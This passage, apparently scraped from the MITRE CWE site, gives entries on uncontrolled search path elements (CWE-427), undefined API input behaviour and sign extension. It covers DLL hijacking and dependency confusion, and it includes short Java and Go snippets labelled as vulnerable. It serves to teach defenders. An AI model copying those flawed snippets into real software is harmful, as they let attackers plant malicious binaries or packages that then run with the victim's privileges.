"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
2023-04-25"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Name, Relationships
2009-01-12CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Name, Relationships
2009-07-27CWE Content TeamMITRE
updated Description, Relationships
2009-10-29CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Description
2010-09-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Type
2019-01-03CWE Content TeamMITRE
updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-09-19CWE Content TeamMITRE
updated Description, Relationships
2020-02-24CWE Content TeamMITRE
updated Description, References, Related_Attack_Patterns, Relationships
2020-06-25CWE Content TeamMITRE
updated Description, Maintenance_Notes
2020-08-20CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Related_Attack_Patterns
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples, Relationships
2023-01-31CWE Content TeamMITRE
updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings
2023-04-27CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-10-14Resource Exhaustion
2009-05-27Uncontrolled Resource Consumption (aka 'Resource Exhaustion')
2019-01-03Uncontrolled Resource Consumption ('Resource Exhaustion')

CWE-427: Uncontrolled Search Path Element

Weakness ID: 427
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors.
+ Extended Description

Although this weakness can occur with any type of resource, it is frequently introduced when a product uses a directory search path to find executables or code libraries, but the path contains a directory that can be modified by an attacker, such as "/tmp" or the current working directory.

In Windows-based systems, when the LoadLibrary or LoadLibraryEx function is called with a DLL name that does not contain a fully qualified path, the function follows a search order that includes two path elements that might be uncontrolled:

  • the directory from which the program has been loaded
  • the current working directory

In some cases, the attack can be conducted remotely, such as when SMB or WebDAV network shares are used.

One or more locations in that path could include the Windows drive root or its subdirectories. This often exists in Linux-based code assuming the controlled nature of the root directory (/) or its subdirectories (/etc, etc), or a code that recursively accesses the parent directory. In Windows, the drive root and some of its subdirectories have weak permissions by default, which makes them uncontrolled.

In some Unix-based systems, a PATH might be created that contains an empty element, e.g. by splicing an empty variable into the PATH. This empty element can be interpreted as equivalent to the current working directory, which might be an untrusted search element.

In software package management frameworks (e.g., npm, RubyGems, or PyPi), the framework may identify dependencies on third-party libraries or other packages, then consult a repository that contains the desired package. The framework may search a public repository before a private repository. This could be exploited by attackers by placing a malicious package in the public repository that has the same name as a package from the private repository. The search path might not be directly under control of the developer relying on the framework, but this search order effectively contains an untrusted element.

+ Alternate Terms
DLL preloading:
This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.
Binary planting:
This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.
Insecure library loading:
This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.
Dependency confusion:
As of February 2021, this term is used to describe CWE-427 in the context of managing installation of software package dependencies, in which attackers release packages on public sites where the names are the same as package names used by private repositories, and the search for the dependent package tries the public site first, downloading untrusted code. It may also be referred to as a "substitution attack."
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.426Untrusted Search Path
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1219File Handling Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands

+ Demonstrative Examples

Example 1

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.

(bad code)
Example Language: Java 
...
System.Runtime.getRuntime().exec("make");
...

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the $PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

Example 2

In versions of Go prior to v1.19, the LookPath function would follow the conventions of the runtime OS and look for a program in the directiories listed in the current path [REF-1325].

Therefore, Go would prioritize searching the current directory when the provided command name does not contain a directory separator and continued to search for programs even when the specified program name is empty.

Consider the following where an application executes a git command to run on the system.

(bad code)
Example Language: Go 
func ExecuteGitCommand(name string, arg []string) error {
c := exec.Command(name, arg...)
var err error
c.Path, err = exec.LookPath(name)
if err != nil {
return err
}
}

An attacker could create a malicious repository with a file named ..exe and another file named git.exe. If git.exe is not found in the system PATH, then ..exe would execute [REF-1326].

Example 3

In February 2021 [REF-1169], a researcher was able to demonstrate the ability to breach major technology companies by using "dependency confusion" where the companies would download and execute untrusted packages.

The researcher discovered the names of some internal, private packages by looking at dependency lists in public source code, such as package.json. The researcher then created new, untrusted packages with the same name as the internal packages, then uploaded them to package hosting services. These services included the npm registry for Node, PyPi for Python, and RubyGems. In affected companies, their dependency resolution would search the public hosting services first before consulting their internal service, causing the untrusted packages to be automatically downloaded and executed.

+ Observed Examples
ReferenceDescription
chain: a change in an underlying package causes the gettext function to use implicit initialization with a hard-coded path (CWE-1419) under the user-writable C:\ drive, introducing an untrusted search path element (CWE-427) that enables spoofing of messages.
Go-based git extension on Windows can search for and execute a malicious "..exe" in a repository because Go searches the current working directory if git.exe is not found in the PATH
A Static Site Generator built in Go, when running on Windows, searches the current working directory for a command, possibly allowing code execution using a malicious .exe or .bat file with the name being searched
Windows-based fork of git creates a ".git" folder in the C: drive, allowing local attackers to create a .git folder with a malicious config file
SSL package searches under "C:/usr/local" for configuration files and other critical data, but C:/usr/local might be world-writable.
"DLL hijacking" issue in document editor.
"DLL hijacking" issue in encryption software.
"DLL hijacking" issue in library used by multiple media players.
"DLL hijacking" issue in illustration program.
"DLL hijacking" issue in address book.
"DLL hijacking" issue in network monitoring software.
"DLL hijacking" issue in web browser.
"DLL hijacking" issue in music player/organizer.
Product uses the current working directory to find and execute a program, which allows local users to gain privileges by creating a symlink that points to a malicious version of the program.
Product trusts the PATH environmental variable to find and execute a program, which allows local users to obtain root access by modifying the PATH to point to a malicous version of that program.
Software uses a search path that includes the current working directory (.), which allows local users to gain privileges via malicious programs.
Admin software trusts the user-supplied -uv.install command line option to find and execute the uv.install program, which allows local users to gain privileges by providing a pathname that is under control of the user.
When a document is opened, the directory of that document is first used to locate DLLs , which could allow an attacker to execute arbitrary commands by inserting malicious DLLs into the same directory as the document.
Database trusts the PATH environment variable to find and execute programs, which allows local users to modify the PATH to point to malicious programs.
Database uses an environment variable to find and execute a program, which allows local users to execute arbitrary programs by changing the environment variable.
Server uses relative paths to find system files that will run in-process, which allows local users to gain privileges via a malicious file.
Product allows local users to execute arbitrary code by setting an environment variable to reference a malicious program.
Product includes the current directory in root's PATH variable.
Error during packaging causes product to include a hard-coded, non-standard directory in search path.
Product searches current working directory for configuration file.
Product searches current working directory for configuration file.
Product executable other program from current working directory.
Untrusted path.
Modification of trusted environment variable leads to untrusted path vulnerability.
Product searches /tmp for modules before other paths.
+ Potential Mitigations

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

Phase: Implementation

Strategy: Attack Surface Reduction

When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

Phase: Implementation

Strategy: Attack Surface Reduction

Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.

Phase: Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory. Since this is a denylist approach, it might not be a complete solution.

Phase: Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of finding the program using the PATH environment variable, while execl() and execv() require a full path.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.991SFP Secondary Cluster: Tainted Input to Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere (i.e., modification of a search path), this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control (i.e., the search path cannot be modified by an attacker, but one element of the path can be under attacker control).

Theoretical

This weakness is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model might need enhancement or clarification.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUncontrolled Search Path Element
+ References
[REF-409] Georgi Guninski. "Double clicking on MS Office documents from Windows Explorer may execute arbitrary programs in some cases". Bugtraq. 2000-09-18. <https://seclists.org/bugtraq/2000/Sep/331>. URL validated: 2023-01-30.
[REF-410] Mitja Kolsek. "ACROS Security: Remote Binary Planting in Apple iTunes for Windows (ASPR #2010-08-18-1)". Bugtraq. 2010-08-18. <https://lists.openwall.net/bugtraq/2010/08/18/4>. URL validated: 2023-01-30.
[REF-411] Taeho Kwon and Zhendong Su. "Automatic Detection of Vulnerable Dynamic Component Loadings". <https://dl.acm.org/doi/10.1145/1831708.1831722>. URL validated: 2023-04-07.
[REF-412] "Dynamic-Link Library Search Order". Microsoft. 2010-09-02. <https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN>. URL validated: 2023-04-07.
[REF-413] "Dynamic-Link Library Security". Microsoft. 2010-09-02. <https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security>. URL validated: 2023-04-07.
[REF-414] "An update on the DLL-preloading remote attack vector". Microsoft. 2010-08-31. <https://msrc.microsoft.com/blog/2010/08/an-update-on-the-dll-preloading-remote-attack-vector/>. URL validated: 2023-04-07.
[REF-415] "Insecure Library Loading Could Allow Remote Code Execution". Microsoft. 2010-08-23. <https://learn.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637#insecure-library-loading-could-allow-remote-code-execution>. URL validated: 2023-04-07.
[REF-416] HD Moore. "Application DLL Load Hijacking". 2010-08-23. <https://www.rapid7.com/blog/?p=5325>. URL validated: 2023-04-07.
[REF-417] Oliver Lavery. "DLL Hijacking: Facts and Fiction". 2010-08-26. <https://threatpost.com/dll-hijacking-facts-and-fiction-082610/74384/>. URL validated: 2023-04-07.
[REF-1168] Catalin Cimpanu. "Microsoft warns enterprises of new 'dependency confusion' attack technique". ZDNet. 2021-02-10. <https://www.zdnet.com/article/microsoft-warns-enterprises-of-new-dependency-confusion-attack-technique/>.
[REF-1169] Alex Birsan. "Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies". 2021-02-09. <https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610>.
[REF-1325] "exec package - os/exec - Go Packages". 2023-04-04. <https://pkg.go.dev/os/exec>. URL validated: 2023-04-21.
[REF-1326] Brian M. Carlson. "Git LFS Changelog". 2022-04-19. <https://github.com/git-lfs/git-lfs/commit/032dca8ee69c193208cd050024c27e82e11aef81>. URL validated: 2023-04-21.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2022-05-24Anonymous External Contributor
provided observed examples and descriptions for Windows drive root
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Description, Maintenance_Notes, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships
2010-09-27CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Description, Maintenance_Notes, Observed_Examples, References, Relationship_Notes, Relationships
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Related_Attack_Patterns, Relationships
2014-02-18CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Alternate_Terms, Description, Maintenance_Notes, References, Theoretical_Notes
2022-04-28CWE Content TeamMITRE
updated Demonstrative_Examples
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description, Observed_Examples, References
2023-04-27CWE Content TeamMITRE
updated Demonstrative_Examples, Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-475: Undefined Behavior for Input to API

Weakness ID: 475
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The behavior of this function is undefined unless its control parameter is set to a specific value.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1228API / Function Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation; Varies by Context

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3987PK - Code Quality
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

The Linux Standard Base Specification 2.0.1 for libc places constraints on the arguments to some internal functions [21]. If the constraints are not met, the behavior of the functions is not defined. It is unusual for this function to be called directly. It is almost always invoked through a macro defined in a system header file, and the macro ensures that the following constraints are met: The value 1 must be passed to the third parameter (the version number) of the following file system function: __xmknod The value 2 must be passed to the third parameter (the group argument) of the following wide character string functions: __wcstod_internal __wcstof_internal __wcstol_internal __wcstold_internal __wcstoul_internal The value 3 must be passed as the first parameter (the version number) of the following file system functions: __xstat __lxstat __fxstat __xstat64 __lxstat64 __fxstat64
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsUndefined Behavior
Software Fault PatternsSFP1Glitch in computation
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2019-01-03CWE Content TeamMITRE
updated Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Undefined Behavior

CWE-194: Unexpected Sign Extension

Weakness ID: 194
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability
Other

Technical Impact: Read Memory; Modify Memory; Other

When an unexpected sign extension occurs in code that operates directly on memory buffers, such as a size value or a memory index, then it could cause the program to write or read outside the boundaries of the intended buffer. If the numeric value is associated with an application-level resource, such as a quantity or price for a product in an e-commerce site, then the sign extension could produce a value that is much higher (or lower) than the application's allowable range.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

